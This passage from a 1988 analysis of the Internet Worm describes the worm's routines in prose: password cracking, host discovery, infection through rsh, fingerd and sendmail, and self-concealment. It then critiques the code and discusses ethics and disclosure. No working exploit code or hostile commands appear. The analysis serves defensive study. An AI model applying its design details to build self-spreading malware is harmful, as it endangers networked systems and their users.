Otherwise, the Worm created a socket and tried to connect to the local ‘‘Worm port’’—23357. If the connection was successful, an exchange of challenges was made to verify that the other side was actually a fellow Worm. If so, a random value was written to the other side, and a value was read from the socket.

If the sum of the value sent plus the value read was even, the local Worm set its *please-quit* variable to 1, thus marking it for eventual self-destruction. The socket was then closed, and the Worm opened a new socket on the same port (if it was not destined to self-destruct) and set *other_fd* to that socket to listen for other Worms.

If any errors were encountered during this procedure, the Worm involved set *other_fd* to -1 and it returned from the routine. This meant that any error caused the Worm to be immortal, too.

5.2.6. crack_0

This routine first scanned the /etc/hosts.equiv file, adding new hosts to the global list of hosts and setting the flags field to mark them as *equivalent.* Calls were made to *name2host* and *getaddrs*. Next, a similar scan was made of the */.rhosts* file using the exact same calls.

The code then called *setpwent* to open the /etc/passwd file. A loop was performed as long as passwords could be read:

> Every 10th entry, a call was made to *other_sleep* with a timeout of 0. For each user, an attempt was made to open the file *.forward*[15] in the home directory of that user, and read the hostnames therein. These hostnames were also added to the host list and marked as equivalent. The encrypted password, home directory, and GECOS field for each user was stored into the pwd structure.

After all user entries were read, the *endpwent* routine was invoked, and the *cmode* variable was set to 1.

5.2.7. crack_1

This routine tried to break passwords. It was intended to loop until all accounts had been tried, or until the next group of 50 accounts had been tested. In the loop:

> A call was made to *other_sleep* with a parameter of zero each time the loop index modulo 10 was zero (i.e., every 10 calls). Repeated calls were made to *try_password* with the values discussed earlier in §4-8b.
>
> Once all accounts had been tried, the variable *cmode* was set to 2.

The code in this routine was faulty in that the index of the loop was never incremented! Thus, the check at every 50 accounts, and the call to *other-sleep* every 10 accounts would not occur. Once entered, *crack_1* ran until it had checked all user accounts.

5.2.8. crack_2

This routine used the mini-dictionary in an attempt to break user passwords (see Appendix A). The dictionary was first permuted (using the *permute*) call. Each word was decrypted in-place by XORing its bytes with 0x80. The decrypted words were then passed to the *try_password* routine for each user account. The dictionary was then re-encrypted.

---

[15] This is puzzling. The appropriate file to scan for equivalent hosts would have been the *.rhosts* file, not the *.forward* file.

A global index, named *nextw* was incremented to point to the next dictionary entry. The *nextw* index is also used in *doit* to determine if enough effort had been expended so that the Worm could ‘‘...go gently into that good night.’’ When no more words were left, the variable *cmode* was set to 3.

There are two interesting points to note in this routine: the reverse of these words were not tried, although that would seem like a logical thing to do, and all words were encrypted and decrypted in place rather than in a temporary buffer. This is less efficient than a copy while masking since no re-encryption ever needs to be done. As discussed in the next section, many examples of unnecessary effort such as this were present in the program. Furthermore, the entire mini-dictionary was decrypted all at once rather than a word at a time. This would seem to lessen the benefit of encrypting those words at all, since the entire dictionary would then be present in memory as plaintext during the time all the words were tried.

5.2.9. crack_3

This was the last password cracking routine. It opened /usr/dict/words, and for each word found it called *try_password* against each account. If the first letter of the word was a capital, it was converted to lower case and retried. After all words were tried, the variable *cmode* was incremented and the routine returned.

In this routine, no calls to *other_sleep* were interspersed, thus leading to processes that ran for a long time before checking for other Worms on the local machine. Also of note, this routine did not try the reverse of words either!

5.2.10. cracksome

This routine was a simple switch statement on an external variable named *cmode* and it implemented the five strategies discussed in §4-8 of this paper. State zero called *crack_0,* state one called *crack_1,* state two called *crack_2,* and state three called *crack_3.* The default case simply returned.

5.2.11. crypt

This routine took a key and a salt, then performed the UNIX password encryption function on a block of zero bits. The return value of the routine was a pointer to a character string of 13 characters representing the encoded password.

The routine was highly optimized and differs considerably from the standard library version of the same routine. It called the following routines: *compkeys, mungE, des,* and *ipi.* A routine, *setupE,* was also present and was associated with this code, but it was never referenced. It appears to duplicate the functionality of the *mungE* function.

5.2.12. h_addaddr

This routine added alternate addresses to a host entry in the global list if they were not already present.

5.2.13. h_addname

This routine added host aliases (names) to a given host entry. Duplicate entries were suppressed.

5.2.14. h_addr2host

The host address provided to the routine was checked against each entry in the global host list to see if it was already present. If so, a pointer to that host entry was returned. If not, and if a parameter flag was set, a new entry was initialized with the argument address and a pointer to it was returned.

5.2.15. h_clean

This routine traversed the host list and removed any entries marked as infected or immune (leaving hosts not yet tried).

5.2.16. h_name2host

Just like *h_addr2host* except the comparison was done by name with all aliases.

5.2.17. ha

This routine tried to infect hosts on remote networks. First, it checked to see if the gateways list had entries; if not, it called *rt_init*. Next, it constructed a list of all IP addresses for gateway hosts that responded to the *try_telnet* routine. The list of host addresses was randomized by *permute*. Then, for each address in the list so constructed, the address was masked with the value returned by *netmaskfor* and the result was passed to the *attack_network* routine. If an attack was successful, the routine exited early with a return value of TRUE.

5.2.18. hg

This routine attempted to infect gateway machines. It first called *rt_init* to reinitialize the list of gateways, and then for each gateway it called the main infection routine, *infect*, with the gateway as an argument. As soon as one gateway was successfully infected, the routine returned TRUE.

5.2.19. hi

This routine tried to infect hosts whose entries in the hosts list were marked as *equivalent*. The routine traversed the global host list looking for such entries and then calling *infect* with those hosts. A successful infection returned early with the value TRUE.

5.2.20. hl

This routine was intended to attack hosts on directly-connected networks. For each alternate address of the current host, the routine *attack_network* was called with an argument consisting of the address logically and-ed with the value of *netmask* for that address. A success caused the routine to return early with a return value of TRUE.

5.2.21. hul

This function attempted to attack a remote host via a particular user. It first checked to make sure that the host was not the current host and that it had not already been marked as infected. Next, it called *getaddrs* to be sure there was an address to be used. It examined the username for punctuation characters, and returned if any were found. It then called *other_sleep* with an argument of 1.

Next, the code tried the attacks described in §4-10. Calls were made to *sendWorm* if either attack succeeded in establishing a shell on the remote machine.

5.2.22. if_init

This routine constructed the list of interfaces using *ioctl* calls. In summary, it obtained information about each interface that was up and running, including the destination address in point-to-point links, and any netmask for that interface. It initialized the *me* pointer to the first non-loopback address found, and it entered all alternate addresses in the address list.

5.2.23. infect

This was the main infection routine. First, the host argument was checked to make sure that it was not the current host, that it was not currently infected, and that it had not been determined to be immune. Next, a check was made to be sure that an address for the host could be found by calling *getaddrs*. If no address was found, the host was marked as immune and the routine returned FALSE.

Next, the routine called *other_sleep* with a timeout of 1. Following that, it tried, in succession, calls to *try_rsh*, *try_fingerd*, and *try_sendmail*. If the calls to *try_rsh* or *try_fingerd* succeeded, the file descriptors established by those invocations were passed as arguments to the *sendWorm* call. If any of the three infection attempts succeeded, *infect* returned early with a value of TRUE. Otherwise, the routine returned FALSE.

5.2.24. loadobject

This routine read an object file into the *objects* structure in memory. The file was opened and the size found with a call to the library routine *fstat*. A buffer was *malloc*'d of the appropriate size, and a call to *read* was made to read the contents of the file. The buffer was encrypted with a call to *xorbuf*, then transferred into the *objects* array. The suffix of the name (e.g., sun3.o, l1.c, vax.o) was saved in a field in the structure, as was the size of the object.

5.2.25. makemagic

The routine used the library *random* call to generate a random number for use as a challenge number. Next, it tried to connect to the telnet port (#23) of the target host, using each alternate address currently known for that host. If a successful connection was made, the library call *getsockname* was called to get the canonical IP address of the current host relative to the target.

Next, up to 1024 attempts were made to establish a TCP socket, using port numbers generated by taking the output of the random number generator modulo 32767. If the connection was successful, the routine returned the port number, the file descriptor of the socket, the canonical IP address of the current host, and the challenge number.

5.2.26. netmaskfor

This routine stepped through the *interfaces* array and checked the given address against those interfaces. If it found that the address was reachable through a connected interface, the netmask returned was the netmask associated with that interface. Otherwise, the return was the default netmask based on network type (Class A, Class B, Class C).

5.2.27. other_sleep

This routine checked a global variable named *other_fd*. If the variable was less than zero, the routine simply called *sleep* with the provided timeout argument, then returned.

Otherwise, the routine waited on a *select* system call for up to the value of the timeout. If the timeout expired, the routine returned. Otherwise, if the *select* return code indicated there was input pending on the *other_fd* descriptor, it meant there was another Worm on the current

machine. A connection was established and an exchange of ‘‘magic’’ numbers was made to verify identity. The local Worm then wrote a random number (produced by *random*) to the other Worm via the socket. The reply was read and a check was made to ensure that the response came from the localhost (127.0.0.1). The file descriptor was closed.

If the random value sent plus the response was an odd number, the *other_fd* variable was set to -1 and the *pleasequit* variable was set to 1. This meant that the local Worm would die when conditions were right (cf. *doit*), and that it would no longer attempt to contact other Worms on the local machine. If the sum was even, the other Worm was destined to die.

5.2.28. permute

This routine randomized the order of a list of objects. This was done by executing a loop once for each item in the list. In each iteration of the loop, the *random* number generator was called modulo the number of items in the list. The item in the list indexed by that value was swapped with the item in the list indexed by the current loop value (via a call to *bcopy*).

5.2.29. rt_init

This initialized the list of gateways. It started by setting an external counter, *ngateways*, to zero. Next, it invoked the command ‘‘/usr/ucb/netstat -r -n’’ using a *popen* call. The code then looped while output was received from the netstat command:

> A line was read. A call to *other_sleep* was made with a timeout of zero. The input line was parsed into a destination and a gateway. If the gateway was not a valid IP address, or if it was the loopback address (127.0.0.1), it was discarded. The value was then compared against all the gateway addresses already known; duplicates were skipped. It was also compared against the list of local interfaces (local networks), and discarded if a duplicate. Otherwise, it was added to the list of gateways and the counter incremented.

5.2.30. scan_gateways

First, the code called *permute* to randomize the gateways list. Next, it looped over each gateway or the first 20, whichever was less:

> A call was made to *other_sleep* with a timeout of zero. The gateway IP address was searched for in the host list; a new entry was allocated for the host if none currently existed. The gateway flag was set in the flags field of the host entry. A call was made to the library routine *gethostbyaddr* with the IP number of the gateway. The name, aliases and address fields were added to the host list, if not already present. Then a call was made to *gethostbyname* and alternate addresses were added to the host list.

After this loop was executed, a second loop was started that did effectively the same thing as the first! There is no clear reason why this was done, unless it is a remnant of earlier code, or a stub for future additions.

5.2.31. send_message

This routine made a call to *random* and 14 out of 15 times returned without doing anything. In the 15th case, it opened a stream socket to host ‘‘ernie.berkeley.edu’’ and then tried to send an uninitialized byte using the *sendto* call. This would not work (using a UDP send on a TCP socket).

5.2.32. sendWorm

This routine sent the Worm code over a connected TCP circuit to a remote machine. First it checked to make sure that the objects table held a copy of the l1.c code (see Appendix B). Next, it called *makemagic* to get a local socket established and to generate a challenge string. Then, it encoded and wrote the script detailed previously in §4-2a. Finally, it called *waithit* and returned the result code of that routine.

The object files shipped across the link were decrypted in memory first by a call to *xorbuf* and then re-encrypted afterwards.

5.2.33. supports_rsh

This routine determined if the target host, specified as an argument, supported the BSD-derived *rsh* protocol. It did this by creating a socket and attempting a TCP connection to port 514 on the remote machine. A timeout or connect failure caused a return of FALSE; otherwise, the socket was closed and the return value was TRUE.

5.2.34. supports_telnet

This routine determined if a host was reachable and supported the *telnet* protocol (i.e., was probably not a router or similar ‘‘dumb’’ box). It was similar to *supports_rsh* in nature. The code established a socket, connected to the remote machine on port 23, and returned FALSE if an error or timeout occurred; otherwise, the socket was closed and TRUE was returned.

5.2.35. try_fingerd

This routine tried to establish a connection to a remote finger daemon on the given host by connecting to port 79. If the connection succeeded, it sent across an overfull buffer as described in §4-8b and waited to see if the other side became a shell. If so, it returned the file descriptors to the caller; otherwise, it closed the socket and returned a failure code.

5.2.36. try_password

This routine called *crypt* with the password attempt and compared the result against the encrypted password in the pwd entry for the current user. If a match was found, the unencrypted password was copied into the pwd structure, and the routine *attack_user* was invoked.

5.2.37. try_rsh

This function created two pipes and then *fork*ed a child process. The child process attempted to *rexec* a remote shell on the host specified in the parameters, using the specified username and password. Then the child process tried to invoke the *rsh* command by attempting to run, in order, ‘‘/usr/ucb/rsh,’’ ‘‘/usr/bin/rsh,’’ and ‘‘/bin/rsh.’’ If the remote shell succeeded, the function returned the file descriptors of the open pipe. Otherwise, it closed all file descriptors, killed the child with a SIGKILL, and reaped it with a call to *wait3*.

5.2.38. try_sendmail

This routine attempted to establish a connection to the SMTP port (#25) on the remote host. If successful, it conducted the dialog explained in §4-2b. It then called the *waithit* routine to see if the infection ‘‘took.’’

Return codes were checked after each line was transmitted, and if a return code indicated a problem, the routine aborted after sending a ‘‘quit’’ message.

5.2.39. waithit

This function acted as the bootstrap server for a vector program on a remote machine. It waited for up to 120 seconds on the socket created by the *makemagic* routine, and if no connection was made it closed the socket and returned a failure code. Likewise, if the first thing received was not the challenge string shipped with the bootstrap program, the socket was closed and the routine returned.

The routine decrypted each object file using *xorbuf* and sent it across the connection to the vector program (see Appendix B). Then a script was transmitted to compile and run the vector. This was described in §4-4. If the remote host was successfully infected, the infected flag was set in the host entry and the socket closed. Otherwise, the routine sent *rm* command strings to delete each object file.

The function returned the success or failure of the infection.

5.2.40. xorbuf

This routine was somewhat peculiar. It performed a simple encryption/decryption function by XORing the buffer passed as an argument with the first 10 bytes of the xorbuf routine itself! This code would not work on a machine with a split I/D space or on tagged architectures.

6. Analysis of the Code

6.1. Structure and Style

An examination of the reverse-engineered code of the Worm is instructive. Although it is not the same as reading the original code, it does reveal some characteristics of the author(s). One conclusion that may surprise some people is that the quality of the code is mediocre, and might even be considered poor. For instance, there are places where calls are made to functions with either too many or too few arguments. Many routines have local variables that are either never used, or are potentially used before they are initialized. In at least one location, a struct is passed as an argument rather than the address of the struct. There is also dead code, as routines that are never referenced, and as code that cannot be executed because of conditions that are never met (possibly bugs). It appears that the author(s) never used the *lint* utility on the program.

At many places in the code, there are calls on system routines and the return codes are never checked for success. In many places, calls are made to the system heap routine, *malloc* and the result is immediately used without any check. Although the program was configured not to leave a core file or other evidence if a fatal failure occurred, the lack of simple checks on the return codes is indicative of sloppiness; it also suggests that the code was written and run with minimal or no testing. It is certainly possible that some checks were written into the code and elided subject to conditional compilation flags. However, there would be little reason to remove those checks from the production version of the code.

The structures chosen for some of the internal data are also revealing. Everything was represented as linked lists of structures. All searches were done as linear passes through the appropriate list. Some of these lists could get quite long and doubtless that considerable CPU time was spent by the Worm just maintaining and searching these lists. A little extra code to implement hash buckets or some form of sorted lists would have added little overhead to the program, yet made it much more efficient (and thus quicker to infect other hosts and less obvious to system watchers). Linear lists may be easy to code, but any experienced programmer or advanced CS student should be able to implement a hash table or lists of hash buckets with little difficulty.

Some effort was duplicated in spots. An example of this was in the code that tried to break passwords. Even if the password to an account had been found in an earlier stage of execution, the Worm would encrypt every word in the dictionary and attempt a match against it. Similar redundancy can be found in the code to construct the lists of hosts to infect.

There are locations in the code where it appears that the author(s) meant to execute a particular function but used the wrong invocation. The use of the UDP send on a TCP socket is one glaring example. Another example is at the beginning of the program where the code sends a KILL signal to its parent process. The surrounding code gives strong indication that the user actually meant to do a *killpg* instead but used the wrong call.

The one section of code that appears particularly well-thought-out involves the *crypt* routines used to check passwords. As has been noted in[Seel88], this code is nine times faster than the standard Berkeley *crypt* function. Many interesting modifications were made to the algorithm, and the routines do not appear to have been written by the same author as the rest of the code. Additionally, the routines involved have some support for both encryption and decryption—even though only encryption was needed for the Worm. This supports the assumption that this routine was written by someone other than the author(s) of the program, and included with this code. It would be interesting to discover where this code originated and how it came to be in the Worm program.

The program could have been much more virulent had the author(s) been more experienced or less rushed in her/his coding. However, it seems likely that this code had been developed over a long period of time, so the only conclusion that can be drawn is that the author(s) was sloppy or careless (or both), and perhaps that the release of the Worm was premature.

6.2. Problems of Functionality

There is little argument that the program was functional. In fact, we all wish it had been less capable! However, we are lucky in the sense that the program had flaws that prevented it from operating to the fullest. For instance, because of an error, the code would fail to infect hosts on a local area network even though it might identify such hosts.

Another example of restricted functionality concerns the gathering of hostnames to infect. As noted already, the code failed to gather host names from user *.rhosts* files early on. It also did not attempt to collect host names from other user and system files containing such names (e.g., /etc/hosts.lpd).

Many of the operations could have been done ‘‘smarter.’’ The case of using linear structures has already been mentioned. Another example would have been to sort user passwords by the *salt* used. If the same salt was present in more than one password, then all those passwords could be checked in parallel as a single pass was made through the dictionaries. On our machine, 5% of the 200 passwords share the same salts, for instance.

No special advantage was taken if the root password was compromised. Once the root password has been broken, it is possible to fork children that set their uid and environment variables to match each designated user. These processes could then attempt the rsh attack described earlier in this report. Instead, root is treated as any other account.

It has been suggested to me that this treatment of root may have been a conscious choice of the Worm author(s). Without knowing the true motivation of the author, this is impossible to decide. However, considering the design and intent of the program, I find it difficult to believe that such exploitation would have been omitted if the author had thought of it.

The same attack used on the finger daemon could have been extended to the Sun version of the program, but was not. The only explanations that come to mind why this was not done

are that the author lacked the motivation, the ability, the time, or the resources to develop a version for the Sun. However, at a recent meeting, Professor Rick Rashid of Carnegie-Mellon University was heard to claim that Robert T. Morris, the alleged author of the Worm, had revealed the *fingerd* bug to system administrative staff at CMU well over a year ago.[16] Assuming this report is correct and the Worm author is indeed Mr. Morris, it is obvious that there was sufficient time to construct a Sun version of the code. I asked three Purdue graduate students (Shawn D. Ostermann, Steve J. Chapin, and Jim N. Griffioen) to develop a Sun 3 version of the attack, and they did so in under three hours. The Worm author certainly must have had access to Suns or else he would not have been able to provide Sun binaries to accompany the operational Worm. Motivation should also not be a factor considering everything else present in the program. With time and resources available, the only reason I cannot immediately rule out is that he lacked the knowledge of how to implement a Sun version of the attack. This seems unlikely, but given the inconsistent nature of the rest of the code, it is certainly a possibility. However, if this is the case, it raises a new question: was the author of the Worm the original author of the VAX *fingerd* attack?

Perhaps the most obvious shortcoming of the code is the lack of understanding about propagation and load. The reason the Worm was spotted so quickly and caused so much disruption was because it replicated itself exponentially on some networks, and because each Worm carried no history with it. Admittedly, there was a check in place to see if the current machine was already infected, but one out of every seven Worms would never die even if there was an existing infestation. Furthermore, Worms marked for self-destruction would continue to execute up to the point of having made at least one complete pass through the password file. Many approaches could have been taken by the author(s) to slow the growth of the Worm or prevent reinfestation; little is to be gained from explaining them here, but their absence from the Worm program is telling. Either the author(s) did not have any understanding of how the program would propagate, or else she/he/they did not care; the existence in the Worm of mechanisms to limit growth tends to indicate that it was a lack of understanding rather than indifference.

Some of the algorithms used by the Worm were reasonably clever. One in particular is interesting to note: when trying passwords from the built-in list, or when trying to break into connected hosts, the Worm would randomize the list of candidates for trial. Thus, if more than one Worm were present on the local machine, they would be more likely to try candidates in a different order, thus maximizing their coverage. This implies, however (as does the action of the pleasequit variable) that the author(s) was not overly concerned with the presence of multiple Worms on the same machine. More to the point, multiple Worms were allowed for a while in an effort to maximize the spread of the infection. This also supports the contention that the author did not understand the propagation or load effects of the Worm.

The design of the vector program, the ‘‘thinning’’ protocol, and the use of the internal state machine were all clever and non-obvious. The overall structure of the program, especially the code associated with IP addresses, indicates considerable knowledge of networking and the routines available to support it. The knowledge evidenced by that code would indicate extensive experience with networking facilities. This, coupled with some of the errors in the Worm code related to networking, further support the thesis that the author was not a careful programmer—the errors in those parts of the code were probably not errors because of ignorance or inexperience.

---

[16] Private communication from someone present at the meeting.

6.3. Camouflage

Great care was taken to prevent the Worm program from being stopped. This can be seen by the caution with which new files were introduced into a machine, including the use of random challenges. It can be seen by the fact that every string compiled into the Worm was encrypted to prevent simple examination. It was evidenced by the care with which files associated with the Worm were deleted from disk at the earliest opportunity, and the corresponding contents were encrypted in memory when loaded. It was evidenced by the continual forking of the process, and the (faulty) check for other instances of the Worm on the local host.

The code also evidences precautions against providing copies of itself to anyone seeking to stop the Worm. It sets its resource limits so it cannot dump a core file, and it keeps internal data encrypted until used. Luckily, there are other methods of obtaining core files and data images, and researchers were able to obtain all the information they needed to disassemble and reverse-engineer the code. There is no doubt, however, that the author(s) of the Worm intended to make such a task as difficult as possible.

6.4. Specific Comments

Some more specific comments are worth making. These are directed to particular aspects of the code rather than the program as a whole.

6.4.1. The sendmail attack

Many sites tend to experience substantial loads because of heavy mail traffic. This is especially true at sites with mailing list exploders. Thus, the administrators at those sites have configured their mailers to queue incoming mail and process the queue periodically. The usual configuration is to set sendmail to run the queue every 30 to 90 minutes.

The attack through sendmail would fail on these machines unless the vector program were delivered into a nearly empty queue within 120 seconds of it being processed. The reason for this is that the infecting Worm would only wait on the server socket for two minutes after delivering the ‘‘infecting mail.’’ Thus, on systems with delayed queues, the vector process would not get built in time to transfer the main Worm program over to the target. The vector process would fail in its connection attempt and exit with a non-zero status.

Additionally, the attack through sendmail invoked the vector program without a specific path. That is, the program was invoked with ‘‘foo’’ instead of ‘‘./foo’’ as was done with the shell-based attack. As a result, on systems where the default path used by sendmail’s shell did not contain the current directory (‘‘.’’), the invocation of the code would fail. It should be noted that such a failure interrupts the processing of subsequent commands (such as the *rm* of the files), and this may be why many system administrators discovered copies of the vector program source code in their /usr/tmp directories.

6.4.2. The machines involved

As has already been noted, this attack was made only on Sun 3 machines and VAX machines running BSD UNIX. It has been observed in at least one mailing list that had the Sun code been compiled with the -mc68010 flag, more Sun machines would have fallen victim to the Worm. It is a matter of some curiosity why more machines were not targeted for this attack. In particular, there are many Pyramid, Sequent, Gould, Sun 4, and Sun i386 machines on the net.[17] If binary files for those had also been included, the Worm could have spread much

[17] The thought of a Sequent Symmetry or Gould NP1 infected with multiple copies of the Worm presents an awesome (and awful) thought. The effects noticed locally when the Worm broke into a mostly unloaded VAX 8800 were spectacular. The effects on a machine with one or two orders of magnitude more

further. As it was, some locations such as Ohio State were completely spared the effects of the Worm because all their ‘‘known’’ machines were of a type that the Worm could not infect. Since the author of the program knew how to break into arbitrary UNIX machines, it seems odd that he/she did not attempt to compile the program on foreign architectures to include with the Worm.

6.4.3. Portability considerations

The author(s) of the Worm may not have had much experience with writing portable UNIX code, including shell scripts. Consider that in the shell script used to compile the vector, the following command is used:

```
if [ -f sh ]
```

The use of the [character as a synonym for the *test* function is not universal. UNIX users with experience writing portable shell files tend to spell out the operator *test* rather than rely on there being a link to a file named ‘‘[’’ on any particular system. They also know that the *test* operator is built-in to many shells and thus faster than the external [variant, although most shells now have the [alias as built-in functions as well.

The *test* invocation used in the Worm code also uses the *-f* flag to test for presence of the file named *sh*. This provided us with the Worm ‘‘condom’’ published Thursday night:[18] creating a directory with the name *sh* in /usr/tmp causes this test to fail, as do later attempts to create executable files by that name. Experienced shell programmers tend to use the equivalent of the *-e* (exists) flag in the csh *test* function in circumstances such as this, to detect not only directories, but sockets, devices, named FIFOs, etc.

Other colloquialisms are present in the code that bespeak a lack of experience writing portable code. One such example is the code loop where file units are closed just after the vector program starts executing, and again in the main program just after it starts executing. In both programs, code such as the following is executed:

```
for (i = 0; i < 32; i++)
        close(i);
```

The portable way to accomplish the task of closing all file descriptors (on Berkeley-derived systems) is to execute:

```
for (i = 0; i < getdtablesize(); i++)
        close (i);
```

or the even more efficient

```
for (i = getdtablesize()-1; i >= 0; i--)
        close(i);
```

This is because the number of file units available (and thus open) may vary from system to system.

---

capacity is a frightening thought.

[18] Developed by a group of Purdue system administrators and system programmers, and tested and verified by Kevin Braunsdorf and Rich Kulawiec at Purdue PUCC.

6.5. Summary

Many other examples can be drawn from the code, but the points should be obvious by now: the author of the Worm program may have been a moderately experienced UNIX programmer, but s/he was by no means the ''UNIX Wizard'' many have been claiming. The code employs a few clever techniques and tricks, but there is some doubt if they are all the original work of the Worm author. The code seems to be the product of an inexperienced, rushed, or sloppy programmer. The person (or persons) who put this program together appears to lack fundamental insight into some algorithms, data structures, and network propagation, but at the same time has some very sophisticated knowledge of network features and facilities.

The code does not appear to have been tested (although anything other than unit testing would not be simple to do), or else it was prematurely released. Actually, it is possible that both of these conclusions are correct. The presence of so much dead and duplicated code coupled with the size of some data structures (such as the 20-slot object code array) argues that the program was intended to be more comprehensive.

7. Conclusions

It is clear from the code that the worm was deliberately designed to do two things: infect as many machines as possible, and be difficult to track and stop. There can be no question that this was in any way an accident, although its release may have been premature.

It is still unknown if this worm, or a future version of it, was to accomplish any other tasks. Although an author has been alleged (Robert T. Morris), he has not publicly confessed nor has the matter been definitively proven. Considering the probability of both civil and criminal legal actions, a confession and an explanation are unlikely to be forthcoming any time soon. Speculation has centered on motivations as diverse as revenge, pure intellectual curiosity, and a desire to impress someone. This must remain speculation for the time being, however, since we do not have access to a definitive statement from the author(s). At the least, there must be some question about the psychological makeup of someone who would build and run such software.[19]

Many people have stated that the authors of this code[20] must have been ''computer geniuses'' of some sort. I have been bothered by that supposition since first hearing it, and after having examined the code in some depth, I am convinced that this program is not evidence to support any such claim. The code was apparently unfinished and done by someone clever but not particularly gifted, at least in the way we usually associate with talented programmers and designers. There were many bugs and mistakes in the code that would not be made by a careful, competent programmer. The code does not evidence clear understanding of good data structuring, algorithms, or even of security flaws in UNIX. It does contain clever exploitations of two specific flaws in system utilities, but that is hardly evidence of genius. In general, the code is not that impressive, and its ''success'' was due at least as much to a large amount of luck as it was due to programming skill possessed by the author.

---

[19] Rick Adams, of the Center for Seismic Studies, has commented that we may someday hear that the worm was loosed to impress Jodie Foster. Without further information, this is as valid a speculation as any other, and should raise further disturbing questions; not everyone with access to computers is rational and sane, and future attacks may reflect this.

[20] Throughout this paper I have been writing *author(s)* instead of *author*. It occurs to me that most of the mail, Usenet postings, and media coverage of this incident have assumed that it was *author* (singular). Are we so unaccustomed to working together on programs that this is our natural inclination? Or is it that we find it hard to believe that more than one individual could have such poor judgement? I also noted that most of people I spoke with seemed to assume that the worm author was male. I leave it to others to speculate on the value, if any, of these observations.

Chance favored most of us, however. The effects of this worm were (largely) benign, and it was easily stopped. Had the code been tested and developed further, or had it been coupled with something destructive, the toll would have been considerably higher. I can easily think of several dozen people who could have written this program, and not only done it with far fewer (if any) errors, but made it considerably more virulent. Thankfully, those individuals are all responsible, dedicated professionals who would not consider such an act.

What we learn from this about securing our systems will help determine if this is the only such incident we ever need to analyze. This attack should also point out that we need a better mechanism in place to coordinate information about security flaws and attacks. The response to this incident was largely ad hoc, and resulted in both duplication of effort and a failure to disseminate valuable information to sites that needed it. Many site administrators discovered the problem from reading the newspaper or watching the television. The major sources of information for many of the sites affected seems to have been Usenet news groups and a mailing list I put together when the worm was first discovered. Although useful, these methods did not ensure timely, widespread dissemination of useful information — especially since they depended on the Internet to work! Over three weeks after this incident some sites were still not reconnected to the Internet.

This is the second time in six months that a major panic has hit the Internet community. The first occurred in May when a rumor swept the community that a ‘‘logic bomb’’ had been planted in Sun software by a disgruntled employee. Many, many sites turned their system clocks back or they shut off their systems to prevent damage. The personnel at Sun Microsystems responded to this in an admirable fashion, conducting in-house testing to isolate any such threat, and issuing information to the community about how to deal with the situation. Unfortunately, almost everyone else seems to have watched events unfold, glad that they were not the ones who had to deal with the situation. The worm has shown us that we are all affected by events in our shared environment, and we need to develop better information methods outside the network before the next crisis.

This whole episode should cause us to think about the ethics and laws concerning access to computers. The technology we use has developed so quickly it is not always simple to determine where the proper boundaries of moral action may be. Many senior computer professionals started their careers years ago by breaking into computer systems at their colleges and places of employment to demonstrate their expertise. However, times have changed and mastery of computer science and computer engineering now involves a great deal more than can be shown by using intimate knowledge of the flaws in a particular operating system. Entire businesses are now dependent, wisely or not, on computer systems. People’s money, careers, and possibly even their lives may be dependent on the undisturbed functioning of computers. As a society, we cannot afford the consequences of condoning or encouraging behavior that threatens or damages computer systems. As professionals, computer scientists and computer engineers cannot afford to tolerate the romanticization of computer vandals and computer criminals.

This incident should also prompt some discussion about distribution of security-related information. In particular, since hundreds of sites have ‘‘captured’’ the binary form of the worm, and since personnel at those sites have utilities and knowledge that enables them to reverse-engineer the worm code, we should ask how long we expect it to be beneficial to keep the code unpublished? As mentioned in the introduction, at least eleven independent groups have produced reverse-engineered versions of the worm, and I expect many more have been done or will be attempted, especially if the current versions are kept private. Even if none of these versions is published in any formal way, hundreds of individuals will have had access to a copy before the end of the year. Historically, trying to ensure security of software through secrecy has proven to be ineffective in the long term. It is vital that we educate system

administrators and make bug fixes available to them in some way that does not compromise their security. Methods that prevent the dissemination of information appear to be completely contrary to that goal.

Last, it is important to note that the nature of both the Internet and UNIX helped to defeat the worm as well as spread it. The immediacy of communication, the ability to copy source and binary files from machine to machine, and the widespread availability of both source and expertise allowed personnel throughout the country to work together to solve the infection even despite the widespread disconnection of parts of the network. Although the immediate reaction of some people might be to restrict communication or promote a diversity of incompatible software options to prevent a recurrence of a worm, that would be entirely the wrong reaction. Increasing the obstacles to open communication or decreasing the number of people with access to in-depth information will not prevent a determined attacker—it will only decrease the pool of expertise and resources available to fight such an attack. Further, such an attitude would be contrary to the whole purpose of having an open, research-oriented network. The Worm was caused by a breakdown of ethics as well as lapses in security—a purely technological attempt at prevention will not address the full problem, and may just cause new difficulties.

Acknowledgments

Much of this analysis was performed on reverse-engineered versions of the worm code. The following people were involved in the production of those versions: Donald J. Becker of Harris Corporation, Keith Bostic of Berkeley, Donn Seeley of the University of Utah, Chris Torek of the University of Maryland, Dave Pare of FX Development, and the team at MIT: Mark W. Eichin, Stanley R. Zanarotti, Bill Sommerfeld, Ted Y. Ts'o, Jon Rochlis, Ken Raeburn, Hal Birkeland and John T. Kohl. A disassembled version of the worm code was provided at Purdue by staff of the Purdue University Computing Center, Rich Kulawiec in particular.

Thanks to the individuals who reviewed early drafts of this paper and contributed their advice and expertise: Don Becker, Kathy Heaphy, Brian Kantor, R. J. Martin, Richard DeMillo, and especially Keith Bostic and Steve Bellovin.

My thanks to all these individuals. My thanks and apologies to anyone who should have been credited and was not.

References

Allm83.

Allman, Eric, *Sendmail—An Internetwork Mail Router*, University of California, Berkeley, 1983. Issued with the BSD UNIX documentation set.

Brun75.

Brunner, John, *The Shockwave Rider*, Harper & Row, 1975.

Cohe84.

Cohen, Fred, ''Computer Viruses: Theory and Experiments,'' *PROCEEDINGS OF THE 7TH NATIONAL COMPUTER SECURITY CONFERENCE*, pp. 240-263, 1984.

Denn88.

Denning, Peter J., ''Computer Viruses,'' *AMERICAN SCIENTIST*, vol. 76, pp. 236-238, May-June 1988.

Dewd85.

Dewdney, A. K., ''A Core War Bestiary of viruses, worms, and other threats to computer memories,'' *SCIENTIFIC AMERICAN*, vol. 252, no. 3, pp. 14-23, May 1985.

Gerr72.
Gerrold, David, *When Harlie Was One*, Ballentine Books, 1972. The **first** edition.

Gram84.
Grampp, Fred. T. and Robert H. Morris, ‘‘UNIX Operating System Security,’’ *AT&T BELL LABORATORIES TECHNICAL JOURNAL*, vol. 63, no. 8, part 2, pp. 1649-1672, Oct. 1984.

Harr77.
Harrenstien, K., ‘‘Name/Finger,’’ RFC 742, SRI Network Information Center, December 1977.

Morr79.
Morris, Robert and Ken Thompson, ‘‘UNIX Password Security,’’ *COMMUNICATIONS OF THE ACM*, vol. 22, no. 11, pp. 594-597, ACM, November 1979.

Post82.
